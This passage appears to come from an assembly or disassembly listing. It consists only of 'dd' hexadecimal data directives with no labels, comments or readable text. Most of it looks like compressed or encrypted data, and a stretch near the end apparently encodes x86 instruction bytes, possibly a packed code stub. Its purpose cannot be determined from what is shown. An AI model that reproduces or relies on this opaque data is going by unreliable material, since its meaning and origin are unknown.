		dd 43C409C4h, 0E73CCC18h, 0A81B62CDh, 0B217CC5Ch, 15C3E1B1h
		dd 5A978D15h, 0DB02DBCAh, 147FB8F0h, 0D2F23895h, 9E593307h
		dd 8B43D92Fh, 4952BD72h, 9434E57Fh, 0D992827Ch,	5BBC27B9h
		dd 75000014h, 0DE2A33F4h, 0B98F9445h, 604DA6h, 0ECC421FEh
		dd 23BA8358h, 20F90376h, 865BEDDBh, 7EB74BBDh, 0D50A1315h
		dd 983596C8h, 351AEE62h, 4B8CC9C9h, 151378B1h, 99F6DF10h
		dd 26B7BACEh, 255F98AAh, 9E86AEDAh, 15AF849Bh, 2446C32Ah
		dd 517ACD06h, 36DDD80Eh, 508D91A7h, 0A4963F49h,	92351138h
		dd 0CC1A528Bh, 0D2CAE237h, 818760EEh, 0C42F08A0h, 15A856B2h
		dd 7400723Eh, 0A725h, 0B24BAC00h, 7092E8E5h, 0A63930F6h
		dd 0F670D12Dh, 0E8F37A30h, 0E8AA3E81h, 2E73B5D1h, 78CED673h
		dd 0D07D37E4h, 30F69153h, 40AD829Bh, 6800DD60h,	0BA388117h
		dd 3F6E3F65h, 39F2106Ah, 20220D46h, 1D6B36DDh, 0C7F280Dh
		dd 0FECA2738h, 5BA08B6Ch, 53D2193Bh, 7A0257Ah, 0DEA18833h
		dd 5CB9728Ah, 891BD054h, 0D9923171h, 6F4912A2h,	61000013h
		dd 0CA3E07E0h, 9593F831h, 7C745192h, 0D82835EAh, 0D78E9744h
		dd 34E57F62h, 0EA47D92Fh, 42A3A781h, 39F60F79h,	0AC29BADCh
		dd 351AEF4Eh, 4BB0EDE5h, 151378B1h, 99F6DF10h, 8A7DB24Bh
		dd 0D049AABEh, 0EDF66C4h, 0E73CC325h, 0F02D3004h, 0CAAA7FB8h
		dd 2F34E97Ch, 0FECAEADBh, 9B13B465h, 4DA12A79h,	0E630F670h
		dd 0C885644Fh, 36DD7845h, 0D3844DE4h, 2D67A660h, 582BE002h
		dd 75AAB389h, 7830F177h, 86B9EABFh, 2FC4B042h, 0B317A504h
		dd 4CA22BDAh, 0E7C77C60h, 712E384Ch, 0EDF42D33h, 0B6D4583Ch
		dd 0CCC18A7Dh, 61C16A52h, 50A477F6h, 27F80DCDh,	0CE5BA4DCh
		dd 0A18A63FAh, 0BF61BE47h, 0CBE4E365h, 0A7450E96h, 0B9000012h
		dd 2664FA8h, 0EDDB20F9h, 0B4BC995Ah, 10107DB2h,	9FF6DF0Ch
		dd 7CADB72Ah, 0D20F1117h, 8A6BFFC9h, 61BE47A1h,	54614204h
		dd 351AEF16h, 4B7815BDh, 0B3437DB2h, 0E2EB5A91h, 36DD9E63h
		dd 36321BD2h, 36C6FE2Fh, 676CDF14h, 33042628h, 4D75681h
		dd 71812C70h, 28F151F1h, 0DB20FD00h, 0ED8758EDh, 1E02B49h
		dd 98D6FF4Eh, 3330FDEBh, 0CB266F38h, 6236E890h,	192C78CBh
		dd 7489FFC4h, 4F6D01BBh, 0DA82584h, 9C333A8Ch, 3D3BF355h
		dd 0D8F8D984h, 12117Fh,	0F93EC300h, 5A8F949Ch, 33F07771h
		dd 9748DE2Ah, 49A2BA8Eh, 0D9C0696Ch, 0BB8D9643h, 1674CA5h
		dd 0E9DF2401h, 0D8B29B54h, 0D0ACC28Bh, 8B07351Ah, 78B14BCEh
		dd 619D3689h, 0CA30F670h, 0ED8DA663h, 0BB379CCFh, 1030F670h
		dd 460FFED9h, 36DD8523h, 3309A38Ah, 98E8F52Ah, 45A43085h
		dd 4018EFh, 0BAE71B40h,	0E54C3511h, 3052E29Ah, 23B908FBh
		dd 0AE6E0D33h, 0A8F9AE84h, 333A37B5h, 5E6ADD14h, 0C87EE823h
		dd 455FC83Fh, 0BD8AB896h, 4C6E77A8h, 4902E52Eh,	36DD703Eh
		dd 6EBB4197h, 90B8369Fh, 0D8133511h, 0DC61C7F1h, 9CD4051Eh
		dd 73304853h, 4330ECF8h, 701B706Dh, 0CA6B9BD7h,	0CB8063A8h
		dd 333A54BCh, 72F1DA15h, 0F86CA566h, 7B2CEE2Ch,	651FD055h
		dd 0F6A47EF8h, 7BB84830h, 8C65FB41h, 0D01116F4h, 62C8767Ah
		dd 2C7684A8h, 3EEB48D8h, 0F1DA132Ah, 0CC1D2672h, 3FF0755Bh
		dd 99AFFD4Ch, 9EC72058h, 30F64460h, 0DDA760CBh,	74A5BE8Ah
		dd 72B9DBD3h, 0A0F3DAF3h, 9B5236DDh, 919CB4B2h,	76C9B873h
		dd 319A2022h, 7E0E6CE8h, 2162270Eh, 3304BFE6h, 0CC3919AFh
		dd 161A1664h, 0EC7ECAB1h, 93F200Bh, 0C78E26F3h,	30FDA057h
		dd 6FDE1537h, 0E8DB0366h, 2083AA36h, 0B79C51D4h, 0F073ACB1h
		dd 9A53EB21h, 1E5C19E2h, 0B535113Bh, 0B197EDBAh, 6AAE7EABh
		dd 0ABDF6B6Ch, 10944E09h, 0BB4E0000h, 0C17117Ah, 6DF2F6DFh
		dd 0C559AFB4h, 1F250368h, 3DEAE1CAh, 26BC044h, 0E4C12226h
		dd 5CB97E8Ch, 371CD154h, 2B470C5Fh, 80351AD2h, 0B14B530Eh
		dd 44901378h, 0A2D8F5C2h, 930F670h, 6F64C72Eh, 30F67013h
		dd 0C0E8B1B8h, 72C8E03Dh, 27A32EBh, 2E37103Eh, 7BD694F1h
		dd 0F479E7BAh, 0C643A0A0h, 183EBh, 7FCEEE00h, 0F6701856h
		dd 0EFB8B330h, 5A7344D9h, 30F67024h, 0E3C9F98Fh, 0A72AA794h
		dd 0ED3B755Ch, 0AB849A58h, 97ABE140h, 0DEF8C95Eh, 0DFF477BCh
		dd 36DD9DD4h, 61BE4795h, 427AF5B8h, 119D9B9Bh, 0E313FF35h
		dd 0FFD1034Eh, 44E073h,	1DE70000h, 18B534FFh, 36DD8CF1h
		dd 8EECE9B8h, 2535116Ch, 72E9D0Ah, 6C76E06Dh, 36123511h
		dd 9DDE7508h, 0C3197400h, 524E53Ah, 0C8h, 7E85D3A2h, 60CA20ADh
		dd 34813511h, 351160B6h, 0B8B3D21Dh, 0B24BB2EFh, 7092E8E5h
		dd 233930F6h, 8CF8C318h, 225AA57Ah, 0D1EB40C4h,	28A5F20Bh
		dd 30F670D2h, 0DD97FE79h, 0DC39F60Fh, 0F6759EABh, 8385D330h
		dd 3B75AAB3h, 14DFE9F0h, 0DF98ADB3h, 0F67478F6h, 8508F630h
		dd 837D8355h, 250E69C0h, 0A0DEF746h, 0B30F6C7h,	0EC41C420h
		dd 0EA21433Bh, 0AFA3B21Bh, 3B3236E0h, 2EE87C48h, 95FED91Ah
		dd 0F0508993h, 0DF6D3152h, 2356F183h, 3D00000Fh, 86E2CB2Ch
		dd 6147AC7Dh, 0C83805DEh, 949CF936h, 1B725B90h,	0F831CBAEh
		dd 5E939593h, 36EF7375h, 0ED42DB2Dh, 0D0FDCE80h, 351AD39Ah
		dd 4BC48131h, 151378B1h, 99F6DF10h, 0E260B24Bh,	0B9806B05h
		dd 0E0EDBC0Fh, 30F6708Ah, 0DC152B21h, 0D7705BA4h, 5AA37C81h
		dd 6E06D76Eh, 8467ACCEh, 0DD85E8CFh, 17964136h,	39EE3BC1h
		dd 7714508h, 56620000h,	86A742FAh, 5401867Fh, 4078B14Bh
		dd 0F6709585h, 1CD7F530h, 0BD920ADh, 0F97036E3h, 0F22B3206h
		dd 3CCE1AE9h, 0B87D8DFBh, 5E622700h, 0A7F40BC7h, 1AEBD02Eh
		dd 0E9F07B35h, 0C10F68Eh, 0BBDF4DDFh, 841CDF70h, 0E69DBh
		dd 1E67B00h, 0E237CC24h, 5B98AF99h, 3FF07672h, 914AD2D6h
		dd 7168D1B4h, 0D3D53EEBh, 0B98F944Dh, 1674CA9h,	80DA23FCh
		dd 0D454AA23h, 0D3FF351Ah, 78B14BB6h, 0DF101513h, 3CBE47A5h
		dd 0D27AB827h, 0B1CBD233h, 0FE49F9C5h, 11ADB667h, 79E6C142h
		dd 1421h, 8034A800h, 630F67Ah, 549E74C3h, 24D5461h, 0FFFFFDD6h
		dd 704A344Dh, 82A30F6h,	0C6B60C3h, 4536E30Bh, 0EBA5D9F2h
		dd 270E351Ah, 0B1303B62h, 0BA0DE27Bh, 55869DEBh, 1AEBD228h
		dd 29FE7935h, 0D8152818h, 69C25AA0h, 70BC9FB7h,	9B445CDFh
		dd 0DC2h, 43A88D9Ch, 200DDE65h,	99E23FC0h, 7D4697AFh, 0D338F10Bh
		dd 92AA0FB8h, 0F4747C59h, 50D2D63Fh, 0A3BA8E97h, 5A69614Ah
		dd 1AD4FD71h, 1D385635h, 0DE60B24Bh, 0A58C7701h, 0EA283D0Bh
		dd 4EF9952h, 0E67E4A3Dh, 94009435h, 0B84D9AA8h,	98358467h
		dd 30F67062h, 88B96EC9h, 0E7BA5FF2h, 140479h, 57A50000h
		dd 9A651FCCh, 8034500Dh, 5B30F67Ah, 0FFFD2110h,	0FACE7FFFh
		dd 46A41162h, 0ED30F670h, 0E6417B42h, 0E02B4921h, 78D9B401h
		dd 0C16836DDh, 772F2EB7h, 0FD493511h, 0B799B84Dh, 86D27400h
		dd 72ABB280h, 0DE96F13Ah, 6EFF3348h, 31185D18h,	1E25968h
		dd 34000000h, 30F6709Ah, 4B65BA4Ch, 330599E0h, 1DE8F52Ah
		dd 0CC1518Fh, 29FEC7FEh, 293CFE07h, 6873BCF4h, 7D1DF550h
		dd 9CAA30F6h, 538C916Eh, 96ADFB4Ah, 33106E18h, 5DA428A4h
		dd 2F4FD823h, 5FADC70Ch, 572E34C6h, 0B740B773h
		dd 0DC6147ACh, 0E2EC6903h, 6630F6FAh, 6AE97C8Ah, 1979E734h
		dd 180h, 0DC831AAEh, 82CC82DEh,	0B24B5805h, 5460437Dh
		dd 66E42EF9h, 780CF781h, 0BE40EA5Dh, 0BF810661h, 0A1CE14A6h
		dd 0D575D593h, 0B3D1E1CAh, 0D9CC8978h, 7836DDC2h, 1C1EC7F1h
		dd 783511C2h, 88CB5EECh, 7F74000Ch, 5Ah, 567FCE62h, 30F67018h
		dd 0BE4CB8B3h, 0ACCEA079h, 0EC48B13Ah, 40A4E2A4h, 0A81B62BFh
		dd 314D06D9h, 9A30F658h, 729DF653h, 3B36DDA4h, 48556EDh
		dd 7FE69E59h, 351144FFh, 0CEE633C9h, 3137E478h,	8358E32Bh
		dd 8D270EE9h, 0DF1D2D11h, 0A9FAFBBh, 74008647h,	0B93Ch
		dd 0B24BA300h, 5FE5437Dh, 7045B912h, 47EE30F6h,	30FF8D7Ch
		dd 6E426D3Ch, 69BFC542h, 9B3083D4h, 30F6D467h, 27865CCh
		dd 0A930F6D4h, 0F7E6FA8Eh, 0CB2DCBBBh, 978B01E0h, 0D834CA84h
		dd 3B019334h, 2E7ACD22h, 46A1DB1Ch, 0D2FFE0C1h,	1A30F69Ah
		dd 0F0313703h, 0F147FB8h, 27864D6Fh, 0E012CFAEh, 14975E36h
		dd 86EF3CC0h, 0DF419AA2h, 0DF6DCE81h, 93B922B2h, 4D00000Bh
		dd 16127BBCh, 0F1F7DC0Dh, 58A8B56Eh, 240C69C6h,	0EBE2CB20h
		dd 68C15B3Eh, 0CE232503h, 0A67F83E5h, 1DD26B5Dh, 400D5E30h
		dd 351AD72Ah, 0CE54F181h, 7018567Fh, 0B8B330F6h, 9643D9EFh
		dd 4DA2BB8Dh, 0B24B6B60h, 5460437Dh, 4210AE4Dh,	0F3C54273h
		dd 4AA02D6Ah, 0E130F6C9h, 0BE36E32Bh, 0E698169h, 0E897DE27h
		dd 0FA000003h, 0B1D3D849h, 240FDC67h, 0BD80845h, 0E57336E3h
		dd 9F28A5Fh, 0C78C5F2Eh, 351AEBABh, 93702900h, 8362A9CBh
		dd 310837CAh, 1D579E33h, 0FDC9C6B0h, 0B846A230h, 0DC052E25h
		dd 0EA734979h, 0BE31E368h, 0C02B6E2Bh, 35D6847h, 346F0000h
		dd 30F6704Ah, 0F670E203h, 955E7C30h, 8B42B912h,	750336DDh
		dd 1DDC6081h, 0B2C885BAh, 19351100h, 6B52F7DEh,	910A40C0h
		dd 0A9CBDF6Bh, 0AAD2Eh,	45A2A700h, 26F30878h, 9F54EBDDh
		dd 73ACB2B6h, 0D5061E6Ah, 0BD2495C8h, 1F6972A7h, 0E5C32809h
		dd 4DBB8065h, 441E67B8h, 0D7106E67h, 17BB351Ah,	7DB24B7Ah
		dd 5A91B343h, 0BA3E2EBh, 0DB1236E3h, 2BA073F2h,	351AEBD7h
		dd 0EBBB379Ch, 0D910351Ah, 80FAAF86h, 0C2D6A962h, 3706795Bh
		dd 0CB9237B0h, 5C192C78h, 1A0AFB77h, 0BE995035h, 3B6C3D06h
		dd 330F71F4h, 0C513925Dh, 0DC85EE43h, 30F690BAh, 0F8C50E2Ah
		dd 0C8BB7888h, 0EFD5B2BCh, 97300930h, 0C9263F0Dh, 0D61D3FBFh
		dd 0B2B08457h, 57F03B75h, 0DD5BAB7Eh, 792B0236h, 0DF6C04FBh
		dd 0FB3F9838h, 0D5000009h, 0BE8A9354h, 196F74A5h, 0E0C02D06h
		dd 4CA4815Eh, 431A63B8h, 8059E3D6h, 66BB4DBBh, 0DE172B1Dh
		dd 0B56AF3F5h, 389536A8h, 351AD8C2h, 1D2C6969h,	18B534FFh
		dd 36E30BD1h, 3A0EF178h, 2E7ACD26h, 6243C415h, 97210206h
		dd 0BF0EC5E7h, 0F90F716h, 5E774633h, 30F67020h,	74A9BD8Bh
		dd 81E8F33Ch, 0EE2547F7h, 71C3B61Fh, 0C36A36DDh, 6B211D41h
		dd 1DC6DEDFh, 982h, 368CD5Ch, 0E0CD1E25h, 59A27F80h, 3D06D76Fh
		dd 93F831CBh, 0D26A4FF8h, 34343C19h, 909296FFh,	0E37A4E57h
		dd 1AA9210Ah, 1AD93DB1h, 5DF89635h, 8F68FACEh, 0D31017F5h
		dd 0D2775E99h, 0C7A6778Eh, 17B06DF1h, 49A6BF8Dh, 50AE27F6h
		dd 0FB30F670h, 518A0C2Dh, 0A58C1D8Ch, 0D8E490E4h, 0F48DD2Ah
		dd 0F6A72846h, 5CA88330h, 935C14C9h, 440FA388h,	0BF79E6E7h
		dd 641CD969h, 80230E9Bh, 0A6000001h, 0E060B24Bh, 0CCD7081Eh
		dd 48604BB4h, 0C5D36177h, 0CCF839CEh, 3F3D0A60h, 322362D1h
		dd 794FD823h, 0E9B80BE4h, 0F6888EECh, 3E0A2530h, 73BCF425h
		dd 0DFFD9DD6h, 4DAAB88Ch, 6F83C833h, 0A130F688h, 2900439Ch
		dd 889348D3h, 855AE339h, 14A100EBh, 30F688D6h, 8655F27Dh
		dd 0DD85C6CDh, 0B4CC6736h, 11852929h, 51E14D35h, 67246573h
		dd 0DAA8DA79h, 18657EEh, 5BDE75h, 4B8574h, 1DCC0000h, 18B534FFh
		dd 36DD8CF1h, 84E79158h, 0D86FAFB0h, 0BF86611Bh, 246D3A05h
		dd 35116C3Ah, 319A6D5Eh, 35116CBDh, 0F00E4716h,	5B35116Ch
		dd 0D2108990h, 9DC29124h, 0B6A17400h, 0C6000000h, 0C51E2177h
		dd 11606298h, 0B96EC935h, 7DB24BFCh, 8A5FE543h,	0C75B91F2h
		dd 46B0566Eh, 9A7F1BE1h, 0ADB3147Fh, 0DF2D4798h, 26447146h
		dd 8D30F620h, 748AC3A2h, 0DF30F620h, 0BF200D14h, 30F6DC7Ah
		dd 6972ABB2h, 1E02B49h,	0DE67A4Eh, 5428CB9Ch, 35936E0h
		dd 346720F9h, 0E97E4A3Dh, 0F8CC9F08h, 5AAEB764h, 0D1B769C2h
		dd 2DF6E0Ch, 7D4E972h, 7B8E0000h, 0CC5751BAh, 2D32361Fh
		dd 8599EFF4h, 0DF6543A8h, 0FDAA210Ah, 42AB8084h, 2401E266h
		dd 9CF93ECCh, 775C9194h, 0EB074C1Fh, 40351ADAh,	0B14B134Eh
		dd 10151378h, 309D6CDFh, 30F670BAh, 6041C611h, 7DB24B6Bh
		dd 8F60E543h, 413FA6h, 49620000h, 50553A7h, 70DF13B8h
		dd 0FD7430F6h, 8811DA92h, 0AC1FD4F6h, 0E30BE627h, 0F3D8AB36h
		dd 351AEB7Fh, 0C18C1DD4h, 2A45E916h, 449DA2F6h,	4289ABC3h
		dd 90B8EAE3h, 200B330Fh, 55743Fh, 0CE5B0000h, 8FF3D2BAh
		dd 5DCAB8CAh, 75F43F5Dh, 13D456A2h, 94AA9E59h, 41C6215Bh
		dd 0DDE6BD00h, 9BD51C36h, 11364132h, 0C2169135h, 624E53Eh
		dd 905B79F8h, 2D11A411h, 8150CCC5h, 9EDB634h, 75D21DCFh
		dd 8D5C2F06h, 9EDAAC0h,	71D601CFh, 0B20D70h, 0CE540000h
		dd 7018567Fh, 0A5B330F6h, 0A4654CA1h, 8063A8CAh, 0D264FB31h
		dd 0C6EA86B7h, 2AFFC65Dh, 0E39C2E79h, 3CAC8736h, 6854D12Ch
		dd 0AE0C47DAh, 516773FBh, 7BEBD4B6h, 83AE7BA1h,	68h, 697FCEC6h
		dd 1066613Bh, 176B1056h, 0BC30F6ECh, 789A14B5h,	0E85B9CAEh
		dd 0F6EC8FE3h, 220D2430h, 97DE0A43h, 0FA7536E3h, 861F5EEAh
		dd 5AF98CBAh, 973FBB3h,	30h, 34FF1D50h,	3E067B5h, 0FCA7A165h
		dd 36933893h, 0F9FD2EA7h, 995036E3h, 0A3FC73C7h, 0BE73F4C0h
		dd 5E6C3D06h, 55361DB0h, 0D2D73FBh, 0B4000000h,	0F68A2234h
		dd 0FCFEF930h, 21FFFFFEh, 0B534FF1Dh, 0E30CB918h, 74411036h
		dd 351AECF6h, 388B925Dh, 0EB855AECh, 79FD8700h,	0A411905Bh
		dd 330F976Ah, 81D643D9h, 4E3B4E8Bh, 8BA94D67h, 817FF3D8h
		dd 1DD430F6h, 81CD21AAh, 0CF6630F6h, 0E47705E4h, 7707B901h
		dd 0C42F081Ah, 9CD3F843h, 3536E3B6h, 0E67D4B3Ah, 0E266B235h
		dd 1B8C7701h, 0A16A882Ah, 2A22F5DEh, 0A08B330Fh, 0BE778BC1h
		dd 0CC2D655h, 99D4513Bh, 0EF1273D4h, 23C91D48h,	0EA47D81Ah
		dd 0C13634D2h, 3F963F6Bh, 80E0CDD4h, 0B708A07Dh, 990EDB61h
		dd 0B908C3E1h, 6C04DD63h, 0B7D9E583h, 68E16884h, 0F5D2CBFh
		dd 0BB813BF8h, 0A2674EA7h, 0FB526AE1h, 4860CBAEh, 0F9B36CF2h
		dd 0ACC41D23h, 9F3032Fh, 8956E442h, 5652BB74h, 65913D4h
		dd 0BDF73032h, 0A4DAF372h, 0FAD3753h, 0C65D6324h, 0E2C55B15h
		dd 5344BA13h, 44EFAD37h, 8857E7C3h, 0BECABD7Ah,	6FFF40A2h
		dd 360F3211h, 4E38790Fh, 62466F38h, 50A407E0h, 875410CDh
		dd 1A5BDA88h, 52B6CE5Bh, 6775461Dh, 0E741F81Ch,	422E7BBh
		dd 811929F6h, 0F940AC9h, 0DF240F45h, 37FC1D82h,	46DE2A7Dh
		dd 192C3495h, 0CA5EACC4h, 76895F69h, 0FA5403BDh, 3703EE4Ch
		dd 844F6E07h, 7BB449BFh, 0E79FD169h, 0C95CAB5Bh, 0BE45EB14h
		dd 70A2D8F5h, 582C30F6h, 88A705CBh, 220D24A7h, 32AFC38Ah
		dd 361030F6h, 0DA6EBA08h
		dd 3846F19h, 72F5263Dh,	49DD2126h, 1DFF8D94h, 0F8BA405Fh
		dd 0ECC4EDBAh, 0D226995Eh, 0BA77884Eh, 0A6DE3902h, 2DA8CC5Dh
		dd 30F6422Eh, 9F29021Ah, 4F79B249h, 0AA90BE88h,	39063438h
		dd 0FEE7CC29h, 30F6BC3Ch, 8F77DB97h, 0A6F279E7h, 83FFD49Dh
		dd 2830F657h, 0A58E2601h, 0FF57C5E4h, 4B8CFFFFh, 0EFE420B2h
		dd 6E7A6EB9h, 33CA3E07h, 0C95CEAFAh, 26F97B49h,	82ED6DEDh
		dd 89582BC2h, 0F6D7AECCh, 7D2A0530h, 0DF66C171h, 2E25C10Eh
		dd 0D579E713h, 77h, 34FF1DBCh, 0F0D6E2B5h, 6099AD9Dh, 4BEA4BC4h
		dd 76C4EE3Dh, 0F67E215Dh, 58A38A30h, 54486CFh, 7CF736E3h
		dd 0F60D5B6Ch, 205E6425h, 3075550h, 0F8A18A22h,	97663CCAh
		dd 1AE5C03Eh, 47C06B35h, 7FCE0527h, 9228CF69h, 3A4E624Eh
		dd 3EEEDEB3h, 0C2693ED2h, 0F135989h, 821EEA33h,	55A5DF94h
		dd 9DEB5AA5h, 881E568Bh, 0D4E3D2BEh, 5CCDD4FFh,	3BC48Fh
		dd 1D0B0000h, 18B534FFh, 36E30BCEh, 8455EF7Dh, 527BCABDh
		dd 351AEB1Ch, 0A1EBBCB7h, 0BD4154A9h, 6BF24860h, 7F4697AFh
		dd 0D5654945h, 66945217h, 8766ADCFh, 0F909CCEh,	0DB042F33h
		dd 63FACE3Eh, 9009F28Ah, 0E265B548h, 0A58C7701h, 0F7283D0Bh
		dd 617A6074h, 619E6127h, 0CDEF8FB8h, 5D4A706h, 0F6243248h
		dd 8DC69930h, 30F62471h, 9F0813DAh, 0DD29CF36h,	765F6E36h
		dd 351129F8h, 7B19853h,	0DCD50A4h, 4DDA25F6h, 11291A04h
		dd 0C61B2C35h, 16C358AEh, 3193C85Eh, 0AF42AFCEh, 0F13BCBF7h
		dd 0E7BD4DD9h, 27518A91h, 242F4BDCh, 0C3740036h, 69h, 34FF1D86h
		dd 9196E2B5h, 1CD15450h, 450E9B64h, 36DD8C3Ah, 0F2BF4593h
		dd 116CA5D9h, 0DC270E35h, 6C0A606Dh, 0B6A13511h, 0CE4815AFh
		dd 0AA35116Ch, 0E911CBC1h, 0F781F74Ch, 9CE61452h, 3E4AA608h
		dd 11F05995h, 4D7BF235h, 5A7372EBh, 3511C824h, 0CC5DA48Fh
		dd 2A3AEh, 1004074h, 16E90000h,	11DC41BDh, 0C643EA35h
		dd 567FCE99h, 30F67018h, 0D9EFB8B3h, 8ED1EB44h,	17DF4AFAh
		dd 1D8A488Ah, 9F831CBh,	0BCF42D33h, 0F28CE2EBh,	0C2730F6h
		dd 4F106425h, 0F29BD7FCh, 393030F6h, 68C55860h,	0BA738A50h
		dd 0F71B2851h, 4AD330F6h, 3BD7A88h, 9F6ED138h, 0F6F6B836h
		dd 4FD81330h, 22FB0266h, 5FE3398Ah, 4B690186h, 9F6E2180h
		dd 7D66B349h, 30F6F601h, 0A98A9EAAh, 5CCDD41Fh,	0DDF9DC0Bh
		dd 56627536h, 394B1616h, 3EBC39A8h, 95351112h, 127589C2h
		dd 17DE3511h, 7642250Ch, 5A6B3CEDh, 6ED11A38h, 7799065h
		dd 0B3323D33h, 210ADF65h, 3CEC3DC7h, 0D992E956h, 0E752FD87h
		dd 0F9000001h, 42A68F68h, 2D1B60B9h, 0F4FCD91Ah, 5050BD72h
		dd 5F361FCCh, 0BC6DF7EAh, 12CF5157h, 0CA2B3F09h, 0A17E87E1h
		dd 14A10244h, 351AC0D6h, 4B38557Dh, 0DDE65B1h, 56EFD922h
		dd 42AD8284h, 0FF1D6479h, 96E2B534h, 0D8235D8Eh, 8CFB064Fh
		dd 9B5236DDh, 0FE7C5928h, 5535116Ch, 14AC7D87h,	3D47C02Bh
		dd 116CA690h, 0D8D9035h, 5CFC0BA1h, 3B755CD6h, 0EA8257EDh
		dd 0CB203B01h, 0D76773B1h, 59E94515h, 9E8DC4h, 4417E674h
		dd 1160F30Fh, 0D4915835h, 35116096h, 5A95323Dh,	0B5h, 567FCE3Dh
		dd 30F67018h, 0D9EFB8B3h, 0DE37B644h, 41A8416Ah, 64F84E66h
		dd 1248A62Fh, 55E330F6h, 323611D2h, 0D2EAF52Eh,	0F6173E0Bh
		dd 0BE6FF630h, 15CA5355h, 72B9DB5Bh, 57AB20F3h,	0FC30F616h
		dd 30F17775h, 43EABF78h, 0D4A1A4F0h, 0F61683FFh, 26012830h
		dd 19E12061h, 0E14836DDh, 13D8FA84h, 7EFF3B90h,	9D543307h
		dd 9546DE2Ah, 77A4B888h, 92EFC7D5h, 0E36C74D9h,	0CEh, 5FA48180h
		dd 3C19D269h, 95FE3334h, 49528B93h, 2F34E57Fh, 869E03B4h
		dd 0E8784855h, 44C6220Bh, 97AE9AE3h, 46657D46h,	1AC1F10Dh
		dd 19345A35h, 1378B14Bh, 0F6DF1015h, 0E5B24B99h, 1BBA46D7h
		dd 0E778677h, 30F63CF0h, 3689905Bh, 3C106E67h, 0B0BB30F6h
		dd 6B3A8D17h, 0F63C0C62h, 1B8CA730h, 96FF3035h,	49528B92h
		dd 7F09E67Fh, 3C37982Ch, 0A892A86Ah, 0D74496FFh, 0DF2B8A22h
		dd 904DD02Fh, 77A8BD8Bh, 43A0A0F4h, 0D668BEC6h,	932D0204h
		dd 0A03741A8h, 1AF58319h, 0D8EED8A8h, 74D3634Fh, 7F4D3CF1h
		dd 0CB27ACE5h, 6069DA54h, 0B61FEEC9h, 69DA5438h, 0E6CF5893h
		dd 0E31FB407h, 4869DA54h, 0D1038E1h, 33F98D0h, 62000000h
		dd 0B64B8DCAh, 5CE14771h, 0F13E983h, 0B8489ED6h, 61FB417Bh
		dd 122AF088h, 0C559AFD9h, 758A5068h, 1D2604BCh,	52FEB4CCh
		dd 0C281E289h, 4, 8704EA83h, 248B2414h,	0E7895724h, 4C781h
		dd 0EF810000h, 4, 5C243C87h, 51241489h,	0C181E189h, 4
		dd 4E981h, 0C870000h, 3C895C24h, 9CFC6824h, 148B05ECh
		dd 4C48124h, 54000000h,	81243C8Bh, 4C4h, 4EC8100h, 89000000h
		dd 8B9240Ch, 1000000h, 591189F9h, 51243C8Bh, 0C181E189h
		dd 4, 8704C183h, 8B5C240Ch, 89572414h, 4C781E7h, 83000000h
		dd 3C8704C7h, 0E4E95C24h, 19FFFB91h, 0E1A5E99Bh, 0B48AB10Ch
		dd 0ECB2BEB8h, 0FFC50305h, 234FD8E0h, 0BE02114h, 67EA1625h
		dd 866AD12Ch, 2D2D2178h, 0BEB14D3Fh, 5237377Ah,	284C3240h
		dd 78E36C18h, 930AF73Fh, 3EAF1132h, 0BB11DD0Eh,	0B76EDE53h
		dd 6BB4A74Eh, 0DBEE2072h, 5B069F30h, 32318734h,	0EA791779h
		dd 5C06183Eh, 1DB5A44h,	29707748h, 54F0CE6Bh, 8C13F044h
		dd 0DF060F5Bh, 0B21A1C70h, 7CD1DC18h, 5E602D1Eh, 9404EB7Eh
		dd 0E96A77AEh, 513h, 95BB8389h,	92BE9C8Eh, 0ACBC9C85h
		dd 0A8A08487h, 0A9A79783h, 0D356D04h, 93403CDh,	173403CDh
		dd 1A321937h, 3D951434h, 99511098h, 0B6E013C6h,	1216A35h
		dd 0A291EC3Dh, 18D94D6Ah, 2ACF1C54h, 7B162CD0h,	0C8199AADh
		dd 4C6CB986h, 0E2DC1F6Eh, 0A3ADAD95h, 4C92B494h, 82C92C04h
		dd 0D02AE682h, 486EBE95h, 3F010572h, 96F7CBF3h,	0DF8E7945h
		dd 1F3F69BBh, 1216A31h,	0B2B60CFh, 0D2E7AF37h, 0C3755D6Eh
		dd 0FAD91465h, 0FB38FCFh, 0BDEE3A5Ch, 8FBA8883h, 0C9207E4Fh
		dd 0C1CB50F8h, 0BB87B7E3h, 953D0152h, 5DA1818Ah, 0E348310Ch
		dd 7AC3755Dh, 0EB656F6Bh, 0D967D8CFh, 6Ch, 4ECC9F1h, 1FC37529h
		dd 35FBEFCEh, 24D4097Dh, 0E16FDA40h, 15C6646Ah,	0E1CC2F78h
		dd 0AD8D99A7h, 7D6B7151h, 9EBAA8BAh, 5B1E7C4Dh,	0C3750FD7h
		dd 69731776h, 67D8A1F7h, 0EA7F0C24h, 5446FABCh,	1AC19h
		dd 52260000h, 60464478h, 0B49BCB17h, 6FB38Bh, 97D62717h
		dd 6E4C92B8h, 0D8260601h, 0CE5A7C6Fh, 0C552FEDCh, 0BD6DE3C3h
		dd 0E17A7D35h, 7ED4D453h, 0FA390A30h, 4F93AB97h, 0CF0F3807h
		dd 0A58581ECh, 863559h,	884076A0h, 715B69A3h, 0EF38116Dh
		dd 437BA493h, 0C7E7240Bh, 864E9AE4h, 704871DEh,	752CCDB3h
		dd 0B6F5C6C3h, 37B9A327h, 3567D8BEh, 8Bh, 226A35B1h, 0FCE63E1Ch
		dd 0B3FD2BE5h, 0D63D7849h, 59FDDBE8h, 5B01EC60h, 22FCA151h
		dd 92E3CC8Fh, 0D3A57038h, 0D0C375D9h, 55A99199h, 0F6C82B74h
		dd 2D9326EEh, 26C375D9h, 8EBB96D5h, 0DC0F6947h,	1465A6CFh
		dd 686E79C6h, 60E8EED8h, 0CAF1EFDBh, 125DA1F2h,	1BC71B3Bh
		dd 0B29D5670h, 465B999h, 0A5F27229h, 40F267D8h,	0F4000000h
		dd 8566452h, 0F0CEEE3Fh, 5DA18587h, 20A3A12h, 0FB8FD33Ch
		dd 36E45670h, 0CBF75575h
		dd 528D5DF3h, 0B1045A78h, 0C375E2CCh, 5D963053h, 0B8FB95E5h
		dd 0F0336799h, 0D8FAAB25h, 19967h, 352D0000h, 0C437E97Dh
		dd 5198E3A6h, 38175676h, 0B887CF0Fh, 5B7B5391h,	0C7E7270Ah
		dd 6F5392FBh, 842F0800h, 2BAC144h, 163991E2h, 0E3CA1036h
		dd 5771BE80h, 0CCDC2B77h, 0A02B94EAh, 561E9426h, 9EFCDCC9h
		dd 5D7D6C4Fh, 56FAC2CFh, 18B25399h, 5DF5F0BDh, 4694E5C9h
